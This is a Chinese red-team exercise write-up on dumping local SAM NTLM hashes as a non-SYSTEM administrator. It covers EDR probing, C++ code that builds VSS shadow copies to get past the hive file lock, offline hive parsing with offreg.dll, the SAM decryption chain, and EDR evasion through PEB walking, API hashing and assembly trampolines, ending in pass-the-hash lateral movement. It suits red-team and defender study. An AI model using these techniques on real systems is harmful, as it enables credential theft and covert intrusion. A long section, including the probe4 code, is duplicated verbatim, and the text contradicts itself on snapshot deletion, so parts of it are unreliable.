红队实战复盘:四档探针测 EDR 水位,非 SYSTEM 取 SAM
本文介绍非SYSTEM权限下利用VSS卷影复制绕过文件锁,结合offreg.dll离线解析REGF提取SAM哈希,并用PEB遍历、API哈希及汇编回调蹦床规避EDR检测。
01 前言
去年底的一次红队演练,入口机是台 linux webshell,从配置文件翻到了一个服务账号的明文口令信息,巧合的是可以通过 3389 远连到几台一样的 win 主机,均隶属于管理员组但非 system 权限,这个被加进本地组不是镜像带来的而是人手动做的,推测管理员凭据都是一样但我没明文,在主机的 SAM 里。主机不在域内,进程里有个杂牌的 EDR ,其规则对落地文件和读 SAM 都会有覆盖。当前 EDR 环境下,你是否能做到不依赖 mimikatz、secretsdump、不调用任何现成的 SAM 解析库、不碰活注册表、不硬要提权 NTsystem 来拿 NTLM 。
02 当前场景
1、多台win主机,镜像部署,服务账号凭据,均隶属于管理员组但非 system 权限,无域环境
2、防护为杂牌 EDR
3、可通的网段有多个
4、可访问的端口、服务、文件,未发现可进一步利用的
03 思路梳理
1、明确任务,要的只是扩大采样面。
从主机的文件判断这多台主机均为镜像部署,所以一个 ntlm 就等于多台机器。服务账号的可接管的范围就到这几台win主机。对于横向的那批主机,这个服务账号均不存在,入口是用服务账号的明文进的,要想扩大成果只能用 ntlm。
2、铺垫的是后续拿域内主机。
这个主机没有域,拿 ntlm 意义在于拿到更多位置和痕迹,域身份总得先找到域。所以拿到多台机器的目的不在于多几个立足点,而在于其他机器 lsass 是否会有域会话,我要的域身份只能从那里拿。
3、明确目标,取哈希。
这笔投入成立的前提为内置管理员凭据得相同,拿手上这个哈希去打第二台,成功说明前提成。如果失败,那应该是去翻凭据管理器和浏览器历史。目标具体化操作就能明确到我要把 RID 500 的内置管理员 ntlm 提出来横向。
4、整体方向。
SAM 提供本地管理员账户,用它 PTH 到同镜像、同口令的机器,在那台机器的 lsass 里,才拿得到域用户的哈希。
04 读注册表
1)程序 RegOpenKeyEx.cpp 单纯只 RegOpenKeyEx 打开 HKLM\SAM\SAM\Domains\Account\Users 不去做后续读取枚举
#include <windows.h>
#include <stdio.h>
static const char *ErrName(LONG rc)
{
switch (rc) {
case ERROR_SUCCESS: return "ERROR_SUCCESS";
case ERROR_FILE_NOT_FOUND: return "ERROR_FILE_NOT_FOUND";
case ERROR_PATH_NOT_FOUND: return "ERROR_PATH_NOT_FOUND";
case ERROR_ACCESS_DENIED: return "ERROR_ACCESS_DENIED";
case ERROR_INVALID_PARAMETER: return "ERROR_INVALID_PARAMETER";
case ERROR_SHARING_VIOLATION: return "ERROR_SHARING_VIOLATION";
default: return "(other)";
}
}
static void Hop(const char *tag, const char *sub)
{
HKEY h = NULL;
LONG rc = RegOpenKeyExA(HKEY_LOCAL_MACHINE, sub, 0, KEY_READ, &h);
printf("%-5s HKLM\\%-45s rc=%-2ld 0x%08lX %s\n", tag, sub, rc, (DWORD)rc, ErrName(rc));
if (h) RegCloseKey(h);
}
int main()
{
Hop("[1]", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
Hop("[2]", "SAM");
Hop("[3]", "SAM\\SAM");
Hop("[4]", "SAM\\SAM\\Domains\\Account\\Users");
return 0;
}
2)结果未出现告警未拦截,返回 ERROR_ACCESS_DENIED。

拒绝访问并不意外,默认 system 才有读权限。有价值的点在于侦察水位。可能只被记录为一次事件甚至根本没被看见。之前说过这是个杂牌 EDR ,在现代 EDR 环境高权限进程执行这个动作必告警。
3)这里可以总结出几个点:
1、对方在打开 SAM 健上没有阻断。
2、edr 可能没看见,可能看见了只记录未拦截,或者规则命中了却只记录。所以复盘时我能写的是"主机侧没有可见后果"
3、这个玩法没做任何后续读取,所以万一被拦,原因只可能是打开的意图,不可能是读了什么。动作的粒度越细,归因才越准。
05 思路梳理
此时最顺的思路是提权 system,最后直接是放弃了。原因是同时间同个进程开 SYSTEM 进程、复制令牌启用新进程无疑是会压在 EDR 遥测最密的那一层,每一层操作必然命中的遥感规则。关键的是即便拿到 SYSTEM,读 hive 还要面对独占锁和 REGF 解析两件事。所以我要的从来不是 SYSTEM 这个身份,是一份没被锁住的只读副本。
我的路只剩两条:
1、改权限(动对象),操作为改 dacl。
2、或者改数据来源(不动对象),做卷影复制。
不动权限,先判定卷影这条路在这台机器上到底通不通?那么就先先写一版试试。
07 实践
第一档、测绘防护栈
枚举出vss服务相关信息,均为管理员日常会敲的命令
//目标:以获取 “普通 CIM 服务查询” 基准,看是否告警或拦截。
Get-CimInstance Win32_Service -Filter "Name='vss'"
//目标:单独查询存储池,看是否告警或拦截。
Get-CimInstance Win32_ShadowStorage
//目标:单独枚举快照,看是否告警或拦截。
Get-CimInstance Win32_ShadowCopy
或直接一次跑只显示有价值信息。
$vss = Get-CimInstance Win32_Service -Filter "Name='vss'"
$sh = @(Get-CimInstance Win32_ShadowCopy)
$st = Get-CimInstance Win32_ShadowStorage
$maxGB = if ($st) { [math]::Round((($st | Measure-Object MaxSpace -Sum).Sum)/1GB, 1) } else { 'n/a' }
$usedGB = if ($st) { [math]::Round((($st | Measure-Object UsedSpace -Sum).Sum)/1GB, 1) } else { 'n/a' }
[pscustomobject]@{
VssState = "$($vss.State) / $($vss.StartMode)"
ShadowCount = $sh.Count
StoreMaxGB = $maxGB
StoreUsedGB = $usedGB
FreeOnC_GB = [math]::Round((Get-PSDrive C).Free/1GB, 1)
} | Format-List
fltmc filters
结果如下,未出现告警,vss服务在运行,当前系统存在0个卷影快照。

第二档、只加载进程,不创建快照
1)写一个程序 probe2.cpp,只把 vssapi.dll 拉进进程,不创建快照。
完成 CoInitialize 、 CreateVssBackupComponents 、 Release
不做 InitializeForBackup 和 StartSnapshotSet。
// probe2.cpp —— 只把 vssapi.dll 拉进进程,不创建快照
#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>
int main()
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
printf("[1] CoInitializeEx hr=0x%08lX\n", hr); fflush(stdout);
IVssBackupComponents *p = NULL;
hr = CreateVssBackupComponents(&p);
printf("[2] CreateVssBackupComponents hr=0x%08lX\n", hr); fflush(stdout);
HMODULE h = GetModuleHandleW(L"vssapi.dll");
printf("[3] vssapi.dll base %p\n", (void*)h); fflush(stdout);
Sleep(3000); // 停留三秒,给异步判定留窗口
if (p) p->Release();
CoUninitialize();
return 0;
}
编译
cl /nologo /EHsc /MT /O2 /utf-8 probe2.cpp vssapi.lib ole32.lib
2)运行结果如下:CreateVssBackupComponents 是 0,vssapi.dll 非0,说明动作发生,问题只剩对方看没看见。

3)其中,加 vssapi.dll 是确认自己模块真的进了进程,没告警可能只是没加载,这一行还救过一次误判,同一份 exe,我在一个没提升的普通会话里跑,运行结果如下:CreateVssBackupComponents 失败,vssapi.dll 照样非0。两件事是分开的:vssapi.dll 由依赖链带进来,跟备份对象建不建得出来无关。当时看到 0x80070005 想了半天,第一反应是这么快就被拦了,实际上只是权限问题。不留意特别容易把权限错误读成拦截,一旦写进复盘,后面每一个判断都是歪的。

4)这条线值得单独测,hook 的是 vssapi.dll 的导出,加载就看得见;如果是纯内核型的产品通常要等到创建快照才有信号。所以这一档的读数直接指向对方的实现类型。
5)结论,操作覆盖了 vssapi 导出,进程里确实有 vssapi.dll,对方静默。
第三档、创建,但什么都不读
1)程序 probe3.cpp,建一个卷影,拿到路径就删,不读任何文件
完成 InitializeForBackup 、 StartSnapshotSet 、 AddToSnapshotSet(C:) 、DoSnapshotSet,拿到路径后立刻 DeleteSnapshots
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>
int main()
{
CoInitializeEx(NULL, COINIT_MULTITHREADED);
IVssBackupComponents *p = NULL;
HRESULT hr = CreateVssBackupComponents(&p);
printf("[1] create hr=0x%08lX\n", hr); fflush(stdout);
if (FAILED(hr)) return 1;
hr = p->InitializeForBackup();
printf("[2] initBackup hr=0x%08lX\n", hr); fflush(stdout);
hr = p->SetContext(VSS_CTX_CLIENT_ACCESSIBLE); // 持久、可本地访问的卷影
printf("[3] setContext hr=0x%08lX\n", hr); fflush(stdout);
VSS_ID setId = GUID_NULL, snapId = GUID_NULL;
hr = p->StartSnapshotSet(&setId);
printf("[4] startSet hr=0x%08lX\n", hr); fflush(stdout);
hr = p->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
printf("[5] addToSet(C:) hr=0x%08lX\n", hr); fflush(stdout);
IVssAsync *pAsync = NULL;
hr = p->DoSnapshotSet(&pAsync);
printf("[6] doSnapshot hr=0x%08lX (只是受理)\n", hr); fflush(stdout);
if (SUCCEEDED(hr) && pAsync) {
hr = pAsync->Wait(); // 真正结果在这里
pAsync->Release();
}
printf("[6b] wait hr=0x%08lX\n", hr); fflush(stdout);
if (FAILED(hr)) { printf(" ^ 先查错误码来源,别当成被拦\n"); p->Release(); CoUninitialize(); return 2; }
VSS_SNAPSHOT_PROP prop = {0};
BOOL got = SUCCEEDED(p->GetSnapshotProperties(snapId, &prop));
printf("[7] device %ls\n", got ? prop.m_pwszSnapshotDeviceObject : L"(failed)");
fflush(stdout);
Sleep(5000); // 停留,给外部复核留窗口
LONG deleted = 0; VSS_ID notDeleted = GUID_NULL;
hr = p->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &deleted, ¬Deleted);
printf("[8] delete hr=0x%08lX deleted=%ld\n", hr, deleted); fflush(stdout);
if (got) VssFreeSnapshotProperties(&prop);
p->Release();
CoUninitialize();
return 0;
}
编译
`cl /nologo /EHsc /MT /O2 /utf-8 probe3.cpp vssapi.lib ole32.lib`
在 Sleep(5000) 时另开一个窗口跑:
Get-CimInstance Win32_ShadowCopy | select InstallDate, DeviceObject
2)运行结果如下:

wait 这一步如果报 0x8004230F 或 0x80042306 之类的 VSS 错误时,伴随的addToSet(C:) 失败通常是卷标识问题,[2] 失败权限问题。所以判据必须另开个窗口跑Win32_ShadowCopy。
3)其中 [6] 和 [6b] 拆成两行是被编译器逼出来的:DoSnapshotSet 没有零参数重载,它接一个 IVssAsync,返回的是受理成功。
我第一次写 p->DoSnapshotSet() 直接编不过,改成接异步对象之后才意识到,如果只看 DoSnapshotSet 的返回值,任何创建失败都会被读成成功。真正的结果在 Wait() 上。这个坑和第三档要回答的问题正好是同一个:判断"建没建出来"这件事,本身就有两层,一层是调用有没有被受理,一层是快照有没有真的生成。只看第一层,你会得到一堆假成功。
SetContext(VSS_CTX_CLIENT_ACCESSIBLE) 创建的是持久可本地挂载访问的卷影,不是备份程序那种用完即弃的临时快照,好处是能直接用 \\?\GLOBALROOT\... 路径打开文件,坏处是会留痕,系统里看到是一个真实存在的对象得显式删。这一行同时也是"我为什么非要走这条路"的技术根:只有这种上下文下的卷影,才能当成一个只读盘去读文件。这一行是这段代码里唯一有取舍的地方。
4)结论:
这一档的重点不是"有没有被拦",是把"被拦"和"环境不支持"分开。VSS 的失败码一个码对应四种原因——服务没起、配额不足、卷不在一处、被安全产品挡——光看返回值永远分不清。
卷影真的建出来了、只是后面读不到,那是访问侧的事;卷影根本没建出来,才是创建侧被拦,或者环境本来就不行。这一步必须实时看,不能等程序跑完——因为程序退出前自己把卷影删了,事后再查就只剩空列表,你永远分不清"没建"和"建完删了"。
第四档、利用路径读文件
1)程序 probe4.cpp,建卷影、拿路径读文件,删卷影。
完成完成 InitializeForBackup 、 StartSnapshotSet 、 AddToSnapshotSet(C:) 、DoSnapshotSet、GetSnapshotProperties、DeleteSnapshots,不碰 SAM 尝试读 hosts 文件,同一个文件读两次:正常路径做对照,卷影路径做被测
#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>
static const wchar_t *Why(DWORD e)
{
switch (e) {
case 2: return L"ERROR_FILE_NOT_FOUND — 卷影里没有这个文件";
case 3: return L"ERROR_PATH_NOT_FOUND — 设备不存在:卷影已删或编号失效";
case 5: return L"ERROR_ACCESS_DENIED — 拒绝访问:ACL 或文件级规则,这才可能被拦";
case 32: return L"ERROR_SHARING_VIOLATION — 被独占打开";
case 87: return L"ERROR_INVALID_PARAMETER — 路径形态不被接受,不是拦截";
default: return L"见 MSDN,先分清是形态问题还是策略问题";
}
}
static void TryRead(const wchar_t *path, const wchar_t *tag)
{
HANDLE h = CreateFileW(path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD err = GetLastError();
wprintf(L"%-7ls %-4ls %ls\n", tag,
h == INVALID_HANDLE_VALUE ? L"FAIL" : L"OK", path);
if (h == INVALID_HANDLE_VALUE) {
wprintf(L" GetLastError=%lu (0x%08lX)\n", err, err);
wprintf(L" %ls\n", Why(err));
} else {
char buf[128] = {0};
DWORD n = 0;
ReadFile(h, buf, sizeof(buf) - 1, &n, NULL);
wprintf(L" first %lu bytes: %hs\n", n, buf);
CloseHandle(h);
}
fflush(stdout);
}
int main()
{
CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 对照放在最前面:此时进程里还没有任何卷影,读的是真文件系统
TryRead(L"C:\\Windows\\System32\\drivers\\etc\\hosts", L"normal");
IVssBackupComponents *p = NULL;
HRESULT hr = CreateVssBackupComponents(&p);
printf("[1] create hr=0x%08lX\n", hr); fflush(stdout);
if (FAILED(hr)) return 1;
hr = p->InitializeForBackup();
printf("[2] initBackup hr=0x%08lX\n", hr); fflush(stdout);
hr = p->SetContext(VSS_CTX_CLIENT_ACCESSIBLE);
printf("[3] setContext hr=0x%08lX\n", hr); fflush(stdout);
VSS_ID setId = GUID_NULL, snapId = GUID_NULL;
hr = p->StartSnapshotSet(&setId);
printf("[4] startSet hr=0x%08lX\n", hr); fflush(stdout);
hr = p->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
printf("[5] addToSet(C:) hr=0x%08lX\n", hr); fflush(stdout);
IVssAsync *pAsync = NULL;
hr = p->DoSnapshotSet(&pAsync);
printf("[6] doSnapshot hr=0x%08lX (只是受理)\n", hr); fflush(stdout);
if (SUCCEEDED(hr) && pAsync) {
hr = pAsync->Wait(); // 真正结果在这里
pAsync->Release();
}
printf("[6b] wait hr=0x%08lX\n", hr); fflush(stdout);
if (FAILED(hr)) { p->Release(); CoUninitialize(); return 2; }
VSS_SNAPSHOT_PROP prop = {0};
BOOL got = SUCCEEDED(p->GetSnapshotProperties(snapId, &prop));
wprintf(L"[7] device %ls\n", got ? prop.m_pwszSnapshotDeviceObject : L"(failed)");
fflush(stdout);
if (!got) { p->Release(); CoUninitialize(); return 3; }
Sleep(10000); // 观察窗口:给 EDR 的异步判定留时间
wchar_t shadow[MAX_PATH];
swprintf_s(shadow, MAX_PATH, L"%ls\\Windows\\System32\\drivers\\etc\\hosts",
prop.m_pwszSnapshotDeviceObject);
wprintf(L"[8] wait 10s\n"); fflush(stdout);
TryRead(shadow, L"shadow"); // 被测:同一个文件,只换了路径前缀
LONG deleted = 0; VSS_ID notDeleted = GUID_NULL;
hr = p->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &deleted, ¬Deleted);
printf("[9] delete hr=0x%08lX deleted=%ld\n", hr, deleted); fflush(stdout);
VssFreeSnapshotProperties(&prop);
p->Release();
CoUninitialize();
return 0;
}
编译
cl /nologo /EHsc /MT /O2 /utf-8 probe4.cpp
2)执行结果
wait 这一步如果报 0x8004230F 或 0x80042306 之类的 VSS 错误时,伴随的addToSet(C:) 失败通常是卷标识问题,[2] 失败权限问题。所以判据必须另开个窗口跑Win32_ShadowCopy。
3)其中 [6] 和 [6b] 拆成两行是被编译器逼出来的:DoSnapshotSet 没有零参数重载,它接一个 IVssAsync,返回的是受理成功。
我第一次写 p->DoSnapshotSet() 直接编不过,改成接异步对象之后才意识到,如果只看 DoSnapshotSet 的返回值,任何创建失败都会被读成成功。真正的结果在 Wait() 上。这个坑和第三档要回答的问题正好是同一个:判断"建没建出来"这件事,本身就有两层,一层是调用有没有被受理,一层是快照有没有真的生成。只看第一层,你会得到一堆假成功。
SetContext(VSS_CTX_CLIENT_ACCESSIBLE) 创建的是持久可本地挂载访问的卷影,不是备份程序那种用完即弃的临时快照,好处是能直接用 \\?\GLOBALROOT\... 路径打开文件,坏处是会留痕,系统里看到是一个真实存在的对象得显式删。这一行同时也是"我为什么非要走这条路"的技术根:只有这种上下文下的卷影,才能当成一个只读盘去读文件。这一行是这段代码里唯一有取舍的地方。
4)结论:
这一档的重点不是"有没有被拦",是把"被拦"和"环境不支持"分开。VSS 的失败码一个码对应四种原因——服务没起、配额不足、卷不在一处、被安全产品挡——光看返回值永远分不清。
卷影真的建出来了、只是后面读不到,那是访问侧的事;卷影根本没建出来,才是创建侧被拦,或者环境本来就不行。这一步必须实时看,不能等程序跑完——因为程序退出前自己把卷影删了,事后再查就只剩空列表,你永远分不清"没建"和"建完删了"。
第四档、利用路径读文件
1)程序 probe4.cpp,建卷影、拿路径读文件,删卷影。
完成完成 InitializeForBackup 、 StartSnapshotSet 、 AddToSnapshotSet(C:) 、DoSnapshotSet、GetSnapshotProperties、DeleteSnapshots,不碰 SAM 尝试读 hosts 文件,同一个文件读两次:正常路径做对照,卷影路径做被测
#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>
static const wchar_t *Why(DWORD e)
{
switch (e) {
case 2: return L"ERROR_FILE_NOT_FOUND — 卷影里没有这个文件";
case 3: return L"ERROR_PATH_NOT_FOUND — 设备不存在:卷影已删或编号失效";
case 5: return L"ERROR_ACCESS_DENIED — 拒绝访问:ACL 或文件级规则,这才可能被拦";
case 32: return L"ERROR_SHARING_VIOLATION — 被独占打开";
case 87: return L"ERROR_INVALID_PARAMETER — 路径形态不被接受,不是拦截";
default: return L"见 MSDN,先分清是形态问题还是策略问题";
}
}
static void TryRead(const wchar_t *path, const wchar_t *tag)
{
HANDLE h = CreateFileW(path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD err = GetLastError();
wprintf(L"%-7ls %-4ls %ls\n", tag,
h == INVALID_HANDLE_VALUE ? L"FAIL" : L"OK", path);
if (h == INVALID_HANDLE_VALUE) {
wprintf(L" GetLastError=%lu (0x%08lX)\n", err, err);
wprintf(L" %ls\n", Why(err));
} else {
char buf[128] = {0};
DWORD n = 0;
ReadFile(h, buf, sizeof(buf) - 1, &n, NULL);
wprintf(L" first %lu bytes: %hs\n", n, buf);
CloseHandle(h);
}
fflush(stdout);
}
int main()
{
CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 对照放在最前面:此时进程里还没有任何卷影,读的是真文件系统
TryRead(L"C:\\Windows\\System32\\drivers\\etc\\hosts", L"normal");
IVssBackupComponents *p = NULL;
HRESULT hr = CreateVssBackupComponents(&p);
printf("[1] create hr=0x%08lX\n", hr); fflush(stdout);
if (FAILED(hr)) return 1;
hr = p->InitializeForBackup();
printf("[2] initBackup hr=0x%08lX\n", hr); fflush(stdout);
hr = p->SetContext(VSS_CTX_CLIENT_ACCESSIBLE);
printf("[3] setContext hr=0x%08lX\n", hr); fflush(stdout);
VSS_ID setId = GUID_NULL, snapId = GUID_NULL;
hr = p->StartSnapshotSet(&setId);
printf("[4] startSet hr=0x%08lX\n", hr); fflush(stdout);
hr = p->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
printf("[5] addToSet(C:) hr=0x%08lX\n", hr); fflush(stdout);
IVssAsync *pAsync = NULL;
hr = p->DoSnapshotSet(&pAsync);
printf("[6] doSnapshot hr=0x%08lX (只是受理)\n", hr); fflush(stdout);
if (SUCCEEDED(hr) && pAsync) {
hr = pAsync->Wait(); // 真正结果在这里
pAsync->Release();
}
printf("[6b] wait hr=0x%08lX\n", hr); fflush(stdout);
if (FAILED(hr)) { p->Release(); CoUninitialize(); return 2; }
VSS_SNAPSHOT_PROP prop = {0};
BOOL got = SUCCEEDED(p->GetSnapshotProperties(snapId, &prop));
wprintf(L"[7] device %ls\n", got ? prop.m_pwszSnapshotDeviceObject : L"(failed)");
fflush(stdout);
if (!got) { p->Release(); CoUninitialize(); return 3; }
Sleep(10000); // 观察窗口:给 EDR 的异步判定留时间
wchar_t shadow[MAX_PATH];
swprintf_s(shadow, MAX_PATH, L"%ls\\Windows\\System32\\drivers\\etc\\hosts",
prop.m_pwszSnapshotDeviceObject);
wprintf(L"[8] wait 10s\n"); fflush(stdout);
TryRead(shadow, L"shadow"); // 被测:同一个文件,只换了路径前缀
LONG deleted = 0; VSS_ID notDeleted = GUID_NULL;
hr = p->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &deleted, ¬Deleted);
printf("[9] delete hr=0x%08lX deleted=%ld\n", hr, deleted); fflush(stdout);
VssFreeSnapshotProperties(&prop);
p->Release();
CoUninitialize();
return 0;
}
编译
cl /nologo /EHsc /MT /O2 /utf-8 probe4.cpp
2)执行结果

3)确定读的是同文件。
过程中的两行 first 127 bytes 内容相同,说明读的确实是同个文件,如果只有 normal OK 和 shadow OK,可能还会存在恰好命中另一个存在的对象的情况,判据要看内容,不要只看返回值。
4)sleep 10 秒的考量。
是为了对照。如果两次连着跑,出一条约两分钟后的聚合告警,你根本分不清是哪一次引起的。对照这一步尤其不能省,正常路径读 hosts 是系统经常发生的事,它要是也响,说明对方的规则本来就宽,或者环境在刷噪音
5)读 host 的考量。
区分两种规则:对方是认路径前缀还是认文件对象。如果读 hosts 就响,说明规则挂在卷影路径这个前缀上,那读 SAM 必然响,而且和 SAM 有没有被保护无关;如果读 hosts 静默、读 SAM 才响,那才是文件级保护。
6)失败的可能。
如果 normal 到 shadow 过程中如果 Fail 看是哪一种失败
ERROR_FILE_NOT_FOUND 设备在,但卷影里没有这个文件,不是edr拦截导致
ERROR_PATH_NOT_FOUND 设备不存在——卷影已删,或编号已失效,不是edr拦截导致
ERROR_ACCESS_DENIED 拒绝访问,是被拦,这才需要往下追
ERROR_SHARING_VIOLATION 文件被独占,并非被拦截
ERROR_INVALID_PARAMETER 路径写法有错误,并非被拦截
ERROR_ACCESS_DENIED 才意味着被拦截。normal 在这一档还有额外的作用,它证明我这个进程读文件这个动作本身是干净的。也就是说后面真读 SAM 时若出事,嫌疑只可能落在"读的是哪个对象"上,不落在"读"这个动作上。探针的价值一半在测对方,一半在把自己的变量清干净。
7)结果:
host 文件成功读取,对方静默,结论是这条路可用。综合来看,第二档静默、第三档卷影成功建出、第四档读 hosts 也静默,卷影这条路可以走,edr没有任何一条规则因为我这几档动作被触发,这才是我后面敢把整个程序跑一边的原因。
08 汇总失败的可能
1)第一档就失败,那么就是环境不通,下一步是排除卷影,想办法复制活动hive
2)第二档被拦截,说明 edr 用户层 hook 覆盖了 vssapi.dll ,下一步是换一条不经 vssapi 的入口,或换数据源
3)第三档失败,可能是卷影创建被拦,下一步是复核错误码,可能只是环境问题并非被拦,否则就停了这条路。
4)第四档读 host 被拦截,说明对方认卷影路径前缀,下一步是换路径形态,或换数据源
5)第四档读 SAM 被拦截,说明是文件级的保护
四档全静默才能说明通路可用,这才值得写解析器,不过这四档并非免费的调研,都会留痕迹,每跑一次就多一个卷影对象。
这套读数和一次打整条链的差别不在谨慎,而在于信息的密度,你根本不知道为什么不行换什么能行,只能在复盘报告说这条路不行。到这里问题回到技术本身:怎么拿一份没被锁住的副本,在不落地的前提下把哈希解出来。
09 思路梳理
眼下有三条硬约束:第一、不能有文件落地,磁盘上多一个 SAM 副本容易被检测到。其次,不能动原对象,不改 DACL。最后,不能要求先拿到 SYSTEM, 提权在 EDR 环境内代价最高,就算拿到了也只解决读,不解决锁,得假设高权限那条路一直不可用。
第一次走的是注册表 API,读 HKLM\SAM\SAM\Domains\Account\Users,非 system 被拒,再后续操作显然是不行的。可参考:渗透技巧——Windows下的Access Control List
ACL 跟注册表键完全不一样。 文件本身对 Administrators 是默认可读的,真正卡住你的是两件事:1、文件被system独占。2、注册表健那层 ACL 只有在走RegOpenKey 的时候才生效。也就是说:只要绕开独占锁,根本不需要改任何 DACL。这个认知把我从怎么骗过 ACL直接换到了怎么拿到一份无锁的只读副本,问题性质变了。
后来发现微软自己的文档把这个逻辑写得更直白,Windows Internals Book - Sysinternals | Microsoft Learn,这背后是 Windows 的访问模型本身:每个对象各自持有安全描述符,打开时逐次判定,文件和键是两个对象,就各判各的。
顺着这个思路列出候选方案
方式 | 读到 | 有落盘 | 痕迹 | 结论 |
|---|---|---|---|---|
copyfile / reg save | 能 | 有 | 有 | 多了个副本,特征太明显 |
offreg 打开 SAM | 不能 | 无 | 无 | 独占锁挡了 |
VSS 卷影 + offreg 解析 | 能 | 无 | 有创建卷影 | 可以尝试 |
10 方案解析
1)VSS 解决锁
卷影拷贝是块级 copy-on-write 快照,不是复制一份文件,而是在卷上冻结一个时间点的只读视图,拿到路径
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\
往后面拼 Windows\System32\Config\SAM,指向的是卷影里的数据,不是原文件。
流程是 StartSnapshotSet → AddToSnapshotSet → DoSnapshotSet,在文章 Shadow Copy Creation for Providers 说的很清楚
参考 VSS_SNAPSHOT_CONTEXT (vss.h) ,也就是说,这个上下文建出来的是持久卷影——IVssBackupComponents::Release() 并不会把它删掉,必须显式调 DeleteSnapshots,而我的实现里,没调。
2)offreg 解决解析
1)拿到卷影路径之后,是得自己写支持 REGF 格式的解析器,还是用现成的。想把这些结构彻底搞清楚,Suhanov 那份 hive 格式规范是我见过最完整的一份 # Windows registry file format specification,我在 OROpenHive function (Offreg.h) - Win32 apps | Microsoft Learn 对偏移的时候来回翻了很多遍。
2)所以我用系统自带的 offreg.dll,他是一个纯粹的 REGF 文件格式解析器,输入是hive 文件,输出是 key/value。从文章OROpenHive function (Offreg.h) 和 Offline Registry Library Functions可以看到键级的访问检查要等 hive 被 RegLoadKey 挂进活动注册表之后才发生,离线库本身不做
OROpenHive(SAMPath, &samHive);
OROpenKey(samHive, L"SAM", &subKeyUsers);
3)解密
AES 这条路的逻辑,关键在于先解 syskey,再把解出来的 syskey 当 key 去解 NTLM,而且两层的 IV 分别取自 F 和 V 的不同偏移。
syskey = AES_CBC_dec( 密文 F[0x88..0x97], key = bootkey, IV = F[0x78..0x87] )
DES密文 = AES_CBC_dec( 密文 V[offset+0x18..], key = syskey, IV = V[offset+0x8..] )
NTLM = DES_dec( DES密文, RID 派生 key )
三个 magic 常量
magic1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
magic2 = "0123456789012345678901234567890123456789";
magic3 = "NTPASSWORD";
11 弱化工具的意图
这台机器的 EDR 会做静态检查,蓝队也能捞回去样本分析,他们能看到什么:
哪个层面 | 我暴露了什么 | 弱化做法 |
|---|---|---|
导入表 | 调用的api | PEB 遍历 + 模块名/导出名哈希,不 import |
调用栈 | 从哪里发起调用 | asm 蹦床,从"回调帧"里跳出去 |
依赖 | 我要什么运行库 | 静态 |
第一层:调用变成查找
最开始的是常规写法,这样导入表里出现像 NtOpenKey、NtSetSecurityObject、RtlCreateAcl 这类,深层是 GetProcAddress 和 GetModuleHandle 本身也得 import,调用的都是edr的监控点。
GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenKey");
所以改成自己走 PEB,遍历 InMemoryOrderModuleList,每个模块名算一次(hash = hash * 33 + c)跟目标值比;命中后进 PE 导出表,对每个导出名再算哈希。整条链上不需要出现任何明文字符串,导入表里也看不到这些符号。缺点是调试的时看到的是地址不是函数名,出错只能靠返回码和调用顺序反推。我为此额外做了一套 -d 调试输出,这个在排查阶段救过我好几次。
PPEB pPEB = (PPEB)__readgsqword(0x60);
PLIST_ENTRY head = &pPEB->Ldr->InMemoryOrderModuleList;
第二层:把直调变成回调分发
导入表很干净,但调用栈还是老样子:main 到 函数 到 ntdll,改法是让调用从蹦床里发出去。把函数地址 + 参数打包到结构体,用 rdx 传进去铺好寄存器再 jmp,这样栈上留下的帧更像"系统回调分发",而不是应用代码直接指向 ntdll。
WorkCallbackNtOpenKey:
mov rbx, rdx
mov rax, [rbx] ; 目标函数
mov rcx, [rbx + 0x8] ; KeyHandle
mov edx, [rbx + 0x10] ; DesiredAccess
mov r8, [rbx + 0x18] ; ObjectAttributes
jmp rax
第三层:把依赖变成只要系统 DLL
用 /MT 静态链接 CRT,动态链接 CRT 会带出 vcruntime140.dll、msvcp140.dll,在 edr 眼里这都是可关联的线索,静态链接后,进程只加载系统 DLL,跟一个普通系统工具没区别。没有额外 DLL 可以减少攻击面。代价是工具大小变大。
实际上这一整套手法在文章 # OS Credential Dumping: Security Account Manager里也有对应描述,所以我更多的是把一条已经沉淀成标准的路径自己走了一遍。
12 把代码到一个工具
工具地址:GitHub - wsece/DaclSamHunter
我要的是我可以根据场景切换手法的东西,而不是每次现场改代码重编。命令行走参数,形态上只出 x64 的单文件,不拆 DLL,不套 loader,单 exe 直接跑不需要目标机有任何额外组件,是这个场景下最干净的形态。
-r 走实时注册表(需要 SYSTEM 或配 -dacl)
-ss 走 VSS 卷影(需要管理员)
-dacl 开启 DACL 改写,配合 -r 用
-cc 关键调用走 asm 回调蹦床
-d 打印调试信息(每一步的 NTSTATUS 和中间密钥)

那次演练里,这个工具在两台机器上跑通了,拿到的本地 NTLM 拿去 PTH 成功横向。

13 标准 SOP
这套流程,其实就是现代红队的标准 SOP,只是每一步都在真实场景的约束下产生
1、侦察,权限和防护覆盖到哪一层
2、换数据源而不是换权限,不硬要 SYSTEM,也不改 DACL,而是绕开独占锁限制
3、分清注册表键的 ACL和磁盘文件的 ACL
4、解析,用 offreg 这类离线库就地解析 REGF,不产生副本;
5、密码学,bootkey 、 syskey 、 NTLM,并且要按系统版本分流 RC4 / AES;
